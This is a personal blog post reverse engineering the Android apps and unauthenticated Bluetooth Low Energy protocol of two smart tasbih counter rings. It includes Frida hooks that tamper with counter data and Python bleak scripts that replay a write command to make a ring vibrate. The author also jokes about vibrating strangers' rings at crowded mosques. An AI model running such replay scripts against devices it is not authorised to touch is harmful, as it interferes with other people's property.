Reverse Engineering Tasbih Digital

Last Update Article: 2025-01-27 07:01:38


Reverse Engineering Tasbih Digital

image.png

Assalamualaikum Warahmatullahi Wabarakatuh hello guys, in this article i gonna talk about my new 2 small devices (the gold pallet on left image is for my wife and the other one on right is mine) [1. iQibla Product and 2. BSTWSH Product] that i bought for me and my wife for umrah purpose, long short story this devices is quite effective for my wife since she’s often use this device, but for me this devices not that useful I’m type person that not too comfortable using a thing around my finger, but there’s no regrets bought this device for around Rp., 120K ($8-9) each for research purpose 🤣

Prolog

This 2 kind of devices using the exact same protocol for the communication from the devices to the android application, if you wondering for what connection to the application? yeah for tracking counter, simply from the devices we could track how many the counter has been reach every day and setting up for the alarm as far is i know this 2 main features of this mini devices.

This 2 kind of devices is using BLE (Bluetooth Low Energy) for the communication with android application, BLE protocol is often used for communication for IoT Project, the benefit is as mentioned on the name of the protocol LE (Low Energy), the connection not using “keep alive connection” in traditional sense, the approach using on BLE is uses connection-oriented with focus if there’s no data exchange in x time the connection is intentionally closed

In this article i will not review the back behind the BLE it self in deep area, just introduce the BLE for the better premise for this article, but to be clear in this article i will not (not yet) Reverse Engineering the device, but the application since it’s the easy way to understanding the how it’s works for this devices and application.

BSTWSH Product

The ring that i own is product manufacture with application server called BSTWSH so i named the ring is BSTWSH product based on application name, the android application is could be publicly accessible on this url

image.png

Th application interface quite simple after the onboarding with select-select menu, the main interface of the application it’s look like this

image.png

There’s available praying time based on the location we pick, and the second tabs on bottom bar called “Device” it’s will show how many counter we already done and several menu’s for controlling the ring it self

image.png

BSTWSH Pairing Process

BSTWSH when doing a “authentication” usually or more often called “pairing” process using concept “Just Works” (it’s Security Mode 1, Level 2) the devices will advertising their self for a devices could be connected, the other devices phone or anything that could detect that ads could connect to the devices WITHOUT ANY VALIDATION process such like pass key or any key, when the devices connected there’s no validation on any authorization process but this process looks like BSTWSH is using Security Mode 1, Level 1.

Reverse Engineering Process

The application package id is com.awesome.bstwsh the base application after download the application from play store will locate at

adb shell pm path com.awesome.bstwsh

package:/data/app/~~nPfrynm4YH6zYj8t5qAxVw==/com.awesome.bstwsh-8uILW01BKyLsPKN0sA1Jgw==/base.apk
package:/data/app/~~nPfrynm4YH6zYj8t5qAxVw==/com.awesome.bstwsh-8uILW01BKyLsPKN0sA1Jgw==/split_config.en.apk
package:/data/app/~~nPfrynm4YH6zYj8t5qAxVw==/com.awesome.bstwsh-8uILW01BKyLsPKN0sA1Jgw==/split_config.in.apk
package:/data/app/~~nPfrynm4YH6zYj8t5qAxVw==/com.awesome.bstwsh-8uILW01BKyLsPKN0sA1Jgw==/split_config.ms.apk
package:/data/app/~~nPfrynm4YH6zYj8t5qAxVw==/com.awesome.bstwsh-8uILW01BKyLsPKN0sA1Jgw==/split_config.xxhdpi.apk

There’s bunch splitted files, but I’m just download the base.apk with this command

adb pull /data/app/~~nPfrynm4YH6zYj8t5qAxVw==/com.awesome.bstwsh-8uILW01BKyLsPKN0sA1Jgw==/base.apk

Open the base.apk files with Jadx and journey of understanding the ring pairing process will begin, first stop for Reverse Engineering on this BSTWSH Application it’s analytic the files on

package com.awesome.bstwsh.application;

First code block that eye catching for me it’s the process of scanning the available ring around the application that adverting their self:

    public void startBindScan() {
        if (this.mClient.getConnectStatus(UserData.bindDeviceMac) == 16) {
            return;
        }
        getInstance().mClient.search(new SearchRequest.Builder().searchBluetoothLeDevice(7000, 999).build(), new SearchResponse() { // from class: com.awesome.bstwsh.application.MyApplication.1
            @Override // com.inuker.bluetooth.library.search.response.SearchResponse
            public void onSearchCanceled() {
            }

            @Override // com.inuker.bluetooth.library.search.response.SearchResponse
            public void onSearchStarted() {
                Log.e("发现设备的扫描", "onSearchStarted");
            }

            @Override // com.inuker.bluetooth.library.search.response.SearchResponse
            public void onDeviceFounded(SearchResult searchResult) {
                if (UserData.bindDeviceMac.contains(searchResult.getAddress())) {
                    MyApplication.this.connectDeviceByMac(searchResult.getAddress());
                } else if (MyApplication.this.isInAddPage && !MyApplication.this.deviceMacList.contains(searchResult.getAddress()) && searchResult.getName().contains("BW")) {
                    MyApplication.this.data.add(searchResult);
                    MyApplication.this.deviceMacList.add(searchResult.getAddress());
                    EventBus.getDefault().post(new MyEvent(MyEventType.EVENT_BT_FOUND, null));
                }
            }

            @Override // com.inuker.bluetooth.library.search.response.SearchResponse
            public void onSearchStopped() {
                Log.e("发现设备", "扫描结束");
            }
        });
    }

The first condition of startBindScan function it’s checking the results of function getConnectStatus it’s returning 16 or not, if yes stop the process for better understanding what’s the behind of getConnectStatus it’s from the Library inuker that use interface from the Native Android Bluetooth Manager there’s is snipped code

    public static int getConnectStatus(String str) {
        BluetoothManager bluetoothManager = getBluetoothManager();
        if (bluetoothManager != null) {
            try {
                return bluetoothManager.getConnectionState(getRemoteDevice(str), 7);
            } catch (Throwable th) {
                BluetoothLog.e(th);
                return -1;
            }
        }
        return -1;
    }

The main code of bluetoothManager.getConnectionState(getRemoteDevice(str), 7); it’s referenced on this URL from internal android references the integer 7 on second parameter it’s indicate the state it’s GATT full profile code could be accessible here. Back to function startBindScan the parameter of connected devices it’s saved on variable called UserData.bindDeviceMac (bindDeviceMac) that saved on UserData Classes, here’s the how to store the bindDeviceMac

     public static void setBindDevice(String str) {
        bindDeviceMac = str;
        SharedPreferences.Editor edit = myContext.getSharedPreferences("bstwsh", 0).edit();
        edit.putString("bindDeviceMac", str);
        edit.commit();
    }

and here’s how to set the variable data, the data is retrieved from the sharedPreferences

bindDeviceMac = sharedPreferences.getString("bindDeviceMac", "");

Since my devices already connected, i will take a look to sharedPreferences file at the folder of the application

image.png

And yeah, the mac address of the ring it’s saved here with plain text, it’s finding for penetration testing process? sure, hahaha! Move on to another function it’s searchBluetoothLeDevice this function came from the wrapper library of Bluetooth Manager called (com.inuker.bluetooth.library) to be honest it’s hard to find the official documentation even on github but i found the same code but with different name in this URL, the function on the readme.md on the repo explained that first parameter of searchBluetoothLeDevice it’s delay 7000 means 7 seconds and 999 means times, so in term of words like search the devices 999 times every 7 seconds, the base code it’s say so

public Builder searchBluetoothClassicDevice(int i) {
    SearchTask searchTask = new SearchTask();
    searchTask.setSearchType(1);
    searchTask.setSearchDuration(i);
    this.tasks.add(searchTask);
    return this;
}

public Builder searchBluetoothClassicDevice(int i, int i2) {
    for (int i3 = 0; i3 < i2; i3++) {
        searchBluetoothClassicDevice(i);
    }
    return this;
}

So for better understanding, i will hook up the function from the library that handle the scan results, the idea it’s for searching what the devices BLE around my phone that scanned by the application and finding the my ring from the condition

  public void onDeviceFounded(SearchResult searchResult) {
      if (UserData.bindDeviceMac.contains(searchResult.getAddress())) {
          MyApplication.this.connectDeviceByMac(searchResult.getAddress());
      } else if (MyApplication.this.isInAddPage && !MyApplication.this.deviceMacList.contains(searchResult.getAddress()) && searchResult.getName().contains("BW")) {
          MyApplication.this.data.add(searchResult);
          MyApplication.this.deviceMacList.add(searchResult.getAddress());
          EventBus.getDefault().post(new MyEvent(MyEventType.EVENT_BT_FOUND, null));
      }
  }

searchResult.getName().contains("BW")) as long the name contains “BW” it’s mean it’s my ring, here’s the full scripts of hooking the scanning processs

Java.perform(function() {
    var targetClass = Java.use("com.awesome.bstwsh.application.MyApplication$1");
    targetClass.onDeviceFounded.overload('com.inuker.bluetooth.library.search.SearchResult').implementation = function(searchResult) {
        var deviceName = searchResult.getName();
        var macAddress = searchResult.getAddress();
        var rssi = searchResult.rssi;

        console.log("\n[+] Device Found!");
        console.log("Device Name: " + deviceName);
        console.log("MAC Address: " + macAddress);
        console.log("RSSI: " + rssi);
        return this.onDeviceFounded(searchResult);
    };
});

From the code above i realize get the bunch of BLE device scanned around this android phone via the application even the my wife ring it’s get scanned also

image.png

and i found the BSTWSH ring also with the prefix name “BW”

image.png

From the hook process this is a big results for me, found several devices and have a right assumption about how the code works on the application, after that what the next things? yeah have a better understanding about the function that handle how the application connect to the ring with this function connectDevicesByMac

 public void connectDeviceByMac(String str) {
    Log.e("蓝牙", "开始连接到设备:-" + str + "-");
    this.mClient.registerConnectStatusListener(str, this.mBleConnectStatusListener);
    this.mClient.connect(str, new BleConnectResponse() { // from class: com.awesome.bstwsh.application.MyApplication.2
        @Override // com.inuker.bluetooth.library.connect.response.BleTResponse
        public void onResponse(int i, BleGattProfile bleGattProfile) {
            Log.e("连接", "连接设备");
        }
    });
}

On this base code on the application i wanna hook the function above especially on the parameter String str i wanna know the input and the call back it self with this frida codes

Java.perform(function() {
    var myAppClass = Java.use("com.awesome.bstwsh.application.MyApplication");

    myAppClass.connectDeviceByMac.implementation = function(str) {
        console.log("\n[+] Connecting to MAC: " + str);
        return this.connectDeviceByMac(str);
    };

    var bleResponseClass = Java.use("com.awesome.bstwsh.application.MyApplication$2");

    bleResponseClass.onResponse.overload('int', 'com.inuker.bluetooth.library.model.BleGattProfile').implementation = function(i, bleGattProfile) {
        console.log("\n[+] onResponse Callback!");
        console.log("├ Status Code: " + i);
        console.log("├ BleGattProfile: " + bleGattProfile);

        if (bleGattProfile) {
            var services = bleGattProfile.getServices();
            console.log("└ Services Count: " + services.size());
        }

        return this.onResponse(i, bleGattProfile);
    };
});

and the application connect the exact same Mac Address like connection before on the Shared Preference 02:CC:0E:7C:AB:F9

image.png

and the callback results from the function connectDeviceByMac it’s show below, there’s nothing special to understand but another first line of UUID show up it’s hardcoded to the application the UUID 00002a19-0000-1000-8000-00805f9b34fb

image.png

The hardcoded UUID on the application it’s attached the codes below

  public void readDeviceState() {
      this.mClient.read(UserData.bindDeviceMac, UUID.fromString("0000ae30-0000-1000-8000-00805f9b34fb"), UUID.fromString("0000ae03-0000-1000-8000-00805f9b34fb"), new BleReadResponse() { // from class: com.awesome.bstwsh.application.MyApplication.3
          @Override // com.inuker.bluetooth.library.connect.response.BleTResponse
          public void onResponse(int i, byte[] bArr) {
              if (i == 0) {
                  Log.e("设备消息App:读取到数据-", MyApplication.encodeHexString(bArr));
                  EventBus.getDefault().post(new MyEvent(MyEventType.BT_NOTIFY_MESSAGE, bArr));
              }
          }
      });
  }

  public void getBattery() {
      this.mClient.read(UserData.bindDeviceMac, UUID.fromString("0000180f-0000-1000-8000-00805f9b34fb"), UUID.fromString("00002a19-0000-1000-8000-00805f9b34fb"), new BleReadResponse() { // from class: com.awesome.bstwsh.application.MyApplication.4
          @Override // com.inuker.bluetooth.library.connect.response.BleTResponse
          public void onResponse(int i, byte[] bArr) {
              if (i == 0) {
                  EventBus.getDefault().post(new MyEvent(MyEventType.BATTERY_GET, bArr));
                  Log.e("设备消息App:读取BATTERY_GET", MyApplication.encodeHexString(bArr));
              }
          }
      });
      this.mClient.read(UserData.bindDeviceMac, UUID.fromString("0000ae30-0000-1000-8000-00805f9b34fb"), UUID.fromString("0000ae01-0000-1000-8000-00805f9b34fb"), new BleReadResponse() { // from class: com.awesome.bstwsh.application.MyApplication.5
          @Override // com.inuker.bluetooth.library.connect.response.BleTResponse
          public void onResponse(int i, byte[] bArr) {
              if (i == 0) {
                  String str = new String(bArr, StandardCharsets.UTF_8);
                  Log.e("设备消息App:1读取版本号", str);
                  Log.e("设备消息App:2读取版本号", MyApplication.encodeHexString(bArr));
                  MyApplication.this.deviceSoftVersion = str;
                  EventBus.getDefault().post(new MyEvent(MyEventType.BT_DEVICE_SOFT_VERSION_UPDATE, bArr));
              }
          }
      });
  }

  /* JADX INFO: Access modifiers changed from: private */
  public void openNotify(String str) {
      this.mClient.notify(str, UUID.fromString("0000ae30-0000-1000-8000-00805f9b34fb"), UUID.fromString("0000ae02-0000-1000-8000-00805f9b34fb"), this.bleNotifyResponse);
  }

  /* JADX INFO: Access modifiers changed from: private */
  public void saveSkippingRecord(String str, int i) {
      SQLiteDatabase writableDatabase = this.dbHelper.getWritableDatabase();
      Cursor query = writableDatabase.query("skipping_records", new String[]{"id"}, "date = ?", new String[]{str}, null, null, null);
      ContentValues contentValues = new ContentValues();
      contentValues.put("count", Integer.valueOf(i));
      if (query.moveToFirst()) {
          writableDatabase.update("skipping_records", contentValues, "date = ?", new String[]{str});
      } else {
          contentValues.put("date", str);
          writableDatabase.insert("skipping_records", null, contentValues);
      }
      query.close();
      writableDatabase.close();
  }

  public static String encodeHexString(byte[] bArr) {
      StringBuilder sb = new StringBuilder();
      int length = bArr.length;
      for (int i = 0; i < length; i++) {
          sb.append(String.format("-%02X", Byte.valueOf(bArr[i])));
      }
      return sb.toString();
  }

  public void setValueByMac(String str, byte[] bArr) {
      Log.e("设备消息App:发送数据到-" + str, encodeHexString(bArr));
      this.mClient.writeNoRsp(str, UUID.fromString("0000ae30-0000-1000-8000-00805f9b34fb"), UUID.fromString("0000ae03-0000-1000-8000-00805f9b34fb"), bArr, new BleWriteResponse() { // from class: com.awesome.bstwsh.application.MyApplication.8
          @Override // com.inuker.bluetooth.library.connect.response.BleResponse
          public void onResponse(int i) {
          }
      });
  }

The UUID show up and hardcoded in the application it’s purposing to call the service on the devices, like the code of getBattery it’s the function for get the service for of battery on the Ring, let’s hook to take a look

Java.perform(function() {
    var batteryResponseClass = Java.use("com.awesome.bstwsh.application.MyApplication$4");
    batteryResponseClass.onResponse.overload('int', '[B').implementation = function(i, bArr) {
        console.log("\n[+] Battery Read Callback:");
        console.log("Status Code: " + i);
        console.log("Hex Data: " + bytesToHex(bArr));
        console.log("Event Type: BATTERY_GET");

        return this.onResponse(i, bArr);
    };

    var versionResponseClass = Java.use("com.awesome.bstwsh.application.MyApplication$5");
    versionResponseClass.onResponse.overload('int', '[B').implementation = function(i, bArr) {
        console.log("\n[+] Version Read Callback:");
        console.log("Status Code: " + i);
        console.log("Hex Data: " + bytesToHex(bArr));
        console.log("UTF-8 String: " + bytesToString(bArr));
        console.log("Event Type: BT_DEVICE_SOFT_VERSION_UPDATE");

        return this.onResponse(i, bArr);
    };

    function bytesToHex(buffer) {
        return Array.prototype.map.call(new Uint8Array(buffer), 
            x => ('00' + x.toString(16)).slice(-2)
        ).join(':');
    }

    function bytesToString(buffer) {
        try {
            return String.fromCharCode.apply(null, new Uint8Array(buffer));
        } catch(e) {
            return "[Invalid UTF-8]";
        }
    }
});

image.png

On callback response showing up the hex data it’s 43 which means on the decimal conversion was 67 exact same on the application interfaces.

Intercepting The Traffic

On the application there’s several action to exchange data between the ring and the application the BLE method for sending it’s called Read, Write and Notify as mentioned function Read it’s for reading the data from application to the Ring, Write function it’s sending instruction to the Ring and Notify it’s when Ring sending data to the application all that function it’s using native class on the android from class BluetoothGattCallback (official)

So for intercepting the whole process person on public already write the wrapper for this process here’s the official repository that code I’m used for this research (repo) the idea it’s intercepting the communication, so I’m editing the code just make sure hook the Android application only

if (Java.available) {
    console.log("[*] Starting BLE hooking");
    Java.perform(function () {
        var BTGattCB = Java.use("android.bluetooth.BluetoothGattCallback");
        // https://github.com/frida/frida/issues/310#issuecomment-462447292
        console.log("[*] Hooking BluetoothGattCallback");
        BTGattCB.$init.overload().implementation = function () {

            console.log("[+] BluetoothGattCallback constructor called from " + this.$className);
            const NewCB = Java.use(this.$className);
            NewCB.onCharacteristicRead.implementation = function (g, c, s) {
                const retVal = NewCB.onCharacteristicRead.call(this, g, c, s);
                var uuid = c.getUuid();
                console.log(Color.Blue + "[BLE Read   <=]" + Color.Light.Black + " UUID: " + uuid.toString() + Color.Reset + " data: 0x" + bytes2hex(c.getValue()));
                return retVal;
            };
            NewCB.onCharacteristicWrite.implementation = function (g, c, s) {
                const retVal = NewCB.onCharacteristicWrite.call(this, g, c, s);
                var uuid = c.getUuid();
                console.log(Color.Green + "[BLE Write  =>]" + Color.Light.Black + " UUID: " + uuid.toString() + Color.Reset + " data: 0x" + bytes2hex(c.getValue()));
                return retVal;
            };
            NewCB.onCharacteristicChanged.implementation = function (g, c) {

                var uuid = c.getUuid();
                console.log(Color.Cyan + "[BLE Notify <=]" + Color.Light.Black + " UUID: " + uuid.toString() + Color.Reset + " data: 0x" + bytes2hex(c.getValue()));
                const retVal = NewCB.onCharacteristicChanged.call(this, g, c);
                return retVal;
            };
            return this.$init();
        };

    }); // end perform
} 
var Color = {
    Reset: "\x1b[39;49;00m",
    Black: "\x1b[30;01m", Blue: "\x1b[34;01m", Cyan: "\x1b[36;01m", Gray: "\x1b[37;11m",
    Green: "\x1b[32;01m", Purple: "\x1b[35;01m", Red: "\x1b[31;01m", Yellow: "\x1b[33;01m",
    Light: {
        Black: "\x1b[30;11m", Blue: "\x1b[34;11m", Cyan: "\x1b[36;11m", Gray: "\x1b[37;01m",
        Green: "\x1b[32;11m", Purple: "\x1b[35;11m", Red: "\x1b[31;11m", Yellow: "\x1b[33;11m"
    }
};
// thanks: https://awakened1712.github.io/hacking/hacking-frida/
function bytes2hex(array) {
    var result = '';
    for (var i = 0; i < array.length; ++i)
        result += ('0' + (array[i] & 0xFF).toString(16)).slice(-2);
    return result;
};
function pad(num, size) {
    var s = num + "";
    while (s.length < size) s = "0" + s;
    return s;
} 

The output it’s looks like this

image.png

When the application booting and pairing with the ring for the first time application will using Read and Write to the ring for exchange necessary process data, here’s breakdown for the data Traffic:

  1. Notify

    image.png

When button on ring it’s pressed, the Ring will send to Application via Notify with value hex looks like on the screenshot above 0xaa0300b the necessary of changing the counter on interface only the 0b which is 11 in decimal, but the actual data send it’s on byteArray format [-86,3,0,2]

NewCB.onCharacteristicChanged.implementation = function (g, c) {
    console.log("Data: ", c.getValue());
    var uuid = c.getUuid();
    console.log(Color.Cyan + "[BLE Notify <=]" + Color.Light.Black + " UUID: " + uuid.toString() + Color.Reset + " data: 0x" + bytes2hex(c.getValue()));
    const retVal = NewCB.onCharacteristicChanged.call(this, g, c);
    return retVal;
};

image.png

After know how the format Notify from the Ring to the Application what next? yeah intercepting and manipulation the data from the ring to application, now the idea it’s when the button click the counter on interface it’s set to 100.

  console.log("Data OLD: ", c.getValue());
  var uuid = c.getUuid();
  c.getValue()[3] = 100;
  console.log("Data NEW: ", c.getValue()); 

image.png

And yeah with this kind of modification i could edit the input from the ring, the index-3 on input Notify it’s the digit we could edit-edit the data with any digits for manipulation the input.

  1. Write

    The Write function on BLE is used for several purposing on the application that i discovered the Write BLE is used for Find the ring purpose

    image.png

    when the button find is tapped the Write will sending the data to the Ring and the ring start vibrate forever until button stop it’s tapped

    image.png

The condition 5,1 is for vibrate and 5,0 is for stop the vibrate.

  1. Read

    The operation of read it’s couldn’t i discovered on the application but the data it’s used for getBattery that i show up on the earlier of the article, let’s rediscovered the function with combined hook to battery and read function

    image.png

    And yeah the read function it’s used for battery indicator with direct value of data, show up data from read function it’s 0x3a and the get battery also 3a which is on decimal was 58%.

The exploration of BSTWSH it’s done here, everything meet my expectation about how the Ring and the Application working together, this Reverse Engineering process about the BSTWSH make me learn much about BLE, thank you! Let’s move on!

iQibla Product

image.png

This iQibla product it’s much mature at everything at Application side or the Manufacture of the Ring it self, the application it’s required login to interact with the Ring and the how to find the Ring for pairing it’s much easier for everyone, but basically i will do a same process like the BSTWSH but skipping part of Reverse Engineering.

Intercepting the Traffic

The internal of iQibla is obfuscated and several function it’s rewrite by iQibla application, I’m doing some modification to the public application to make suite to the application to intercepting the communication between BLE Ring and the Application

image.png

Here’s the format data exchange between BLE to the Application, the features quite same with previous product but the format that is hell different, but it’s okay trying to intercepting the Notify process

  1. Notify

    image.png

At this Application and Ring the BLE format it’s not that easily to read, when I’m press the button on the ring send the 13 value to counter, the BLE data it’s not show up the hex or decimal that indicate the value it self, but i will trying to discover the format

Format Value Expected
81,48,55,44,48,48,49,50,44,53,57,55,53,57,53,48,55,44,48,44,48 12
81,48,55,44,48,48,49,51,44,53,57,55,53,57,53,48,55,44,48,44,48 13
81,48,55,44,48,48,49,52,44,53,57,55,53,57,53,48,55,44,48,44,48 14

image.png

The difference it’s on index number 7 count from 0, the value 50 it’s representing 12, 51 it’s representing 13 and 52 it’s representing 14 there’s no indicate 50 it’s 12 from hex or decimal format, but i will overwrite the value first with 1,2,3 look what number appear to the interface application

image.png

When change the index-7 to 1 there’s no changes to the interface, if we calculate the 50 representing 12 so if 50-12 it’s 38 so if want to set the value to 1 the index-7 must be 38+1 = 39, let’s try.

image.png

The theory say but the practical side say no, hahaha! i wont waste my time to discover the format, i will just explore the BLE Transport data, but i will takes note for my self

image.png

This is process for Notify 1,2,3,4 and reset to 0.

  1. Write

    image.png

    When the Find Ring tapped once, the application just vibrate the Ring like 10 seconds, and when second tap the vibrate will stopping, the data it’s readable 31 for start and 30 for stopping.

    image.png

    The features for flipping screen on ring it’s also readable the number indicate it’s 31 and 30.

The iQibla application sounds so mature and the manufacture it’s so damn good, i will maybe spend better time to explore the explorer and the rest of it, the BLE communication it’s quite in weird format, very interesting.

Attacking BLE 101

At this section i will trying to attacking the BSTWSH product, since the manufacture and the application not that mature enough if compared to iQibla product. First I’m using this Library called bleak

The procedure it’s doing same process like BSTWSH product, Scanning Available Device → Connect and Vibrate the Ring!

import asyncio
from bleak import BleakScanner

async def scan_ble_devices():
    devices = await BleakScanner.discover()  
    if devices:
        for idx, device in enumerate(devices, 1):
            print(f"[{idx}] {device.name} ({device.address}) - RSSI: {device.rssi} dBm")
    else:
        print("Nothing.")

if __name__ == "__main__":
    asyncio.run(scan_ble_devices())

image.png

The application it’s could be scanned with that scripts, and after that i need to connect to that MAC Address and doing operation with specific UUID that hardcoded

import asyncio
from bleak import BleakClient

DEVICE_MAC = "02:CC:0E:7C:AB:F9"
BATTERY_SERVICE_UUID = "0000180f-0000-1000-8000-00805f9b34fb"
BATTERY_CHARACTERISTIC_UUID = "00002a19-0000-1000-8000-00805f9b34fb"

async def get_battery_data():

    async with BleakClient(DEVICE_MAC) as client:
        if await client.is_connected():
            print(f"Connected to {DEVICE_MAC}.")
            try:
                battery_data = await client.read_gatt_char(BATTERY_CHARACTERISTIC_UUID)
                battery_level = int(battery_data[0])
                print(f"Data baterai: {battery_level}")
                print(f"And Battery was: {battery_level}%")
            except Exception as e:
                print(f"Error: {e}")
        else:
            print(f"Failed Connect to {DEVICE_MAC}.")

if __name__ == "__main__":
    asyncio.run(get_battery_data())

image.png

After that? yeah send the BLE data to trigger Vibrate the Ring with Replay Attack, simply send the same data as the application for the this attack, that’s why named Replay Attack

import asyncio
from bleak import BleakClient

def unsigned_to_signed(unsigned_byte):
    return unsigned_byte - 256 if unsigned_byte > 127 else unsigned_byte

DEVICE_MAC = "02:CC:0E:7C:AB:F9"
WRITE_CHARACTERISTIC_UUID = "0000ae03-0000-1000-8000-00805f9b34fb" 
DATA_TO_WRITE = bytearray([170, 5, 1]) # [-86, 5, 1] to unsigned

async def write_data_to_characteristic():
    async with BleakClient(DEVICE_MAC) as client:
        if await client.is_connected():
            print(f"Connected to {DEVICE_MAC}.")
            try:
                await client.write_gatt_char(WRITE_CHARACTERISTIC_UUID, DATA_TO_WRITE)
                print(f"Data {list(DATA_TO_WRITE)} SENT!.")
                print("Ring is Vibrating.")
            except Exception as e:
                print(f"Error: {e}")
        else:
            print(f"Failed to Connect {DEVICE_MAC}.")

if __name__ == "__main__":
    asyncio.run(write_data_to_characteristic())

image.png

The Ring it’s vibrate forever! The data actually signed -86 convert to unsigned became 170, let’s try to the iQibla format

image.png

# DEVICE_MAC = "02:CC:0E:7C:AB:F9"
DEVICE_MAC = "34:DD:7E:37:9B:3B" #iqibla
WRITE_CHARACTERISTIC_UUID = "0000d004-0000-1000-8000-00805f9b34fb" 
# DATA_TO_WRITE = bytearray([170, 5, 1]) # [-86, 5, 1] to unsigned
DATA_TO_WRITE = bytearray([80,48,52,44,50,48,50,53,48,49,50,55,49,51,49,55,53,50,54,48,52,44,49])

And yeah! with weird format i could do a same replay attack to the every Ring Device that own by me and my wife haha! So what’s next? yeah if we doing Umrah Ibadah to Madinah and Meccah we could do this attack, doing scan and vibrate everyone around Masjidil Haram or Masjid Nabawi since everyone on this world probably own this Devices!

Closing

Thank you for reading this article gusy, BLE protocol without key pairing or proper authentication it’s have a big purposing for easy to use the product, and also the security concern it’s not that important at this moments, why? there’s no PII data send over the Ring to the Application but if we are security person will think better work around for this!

I hope this article useful for everyone who read this and specially for my self doing a better research at security field rather than yapping around with no sense things.

image.png

Bonus: Me botak after Tahalul, my Mom at the middle and my beautiful Wife 💕 at Masjidil haram as the background!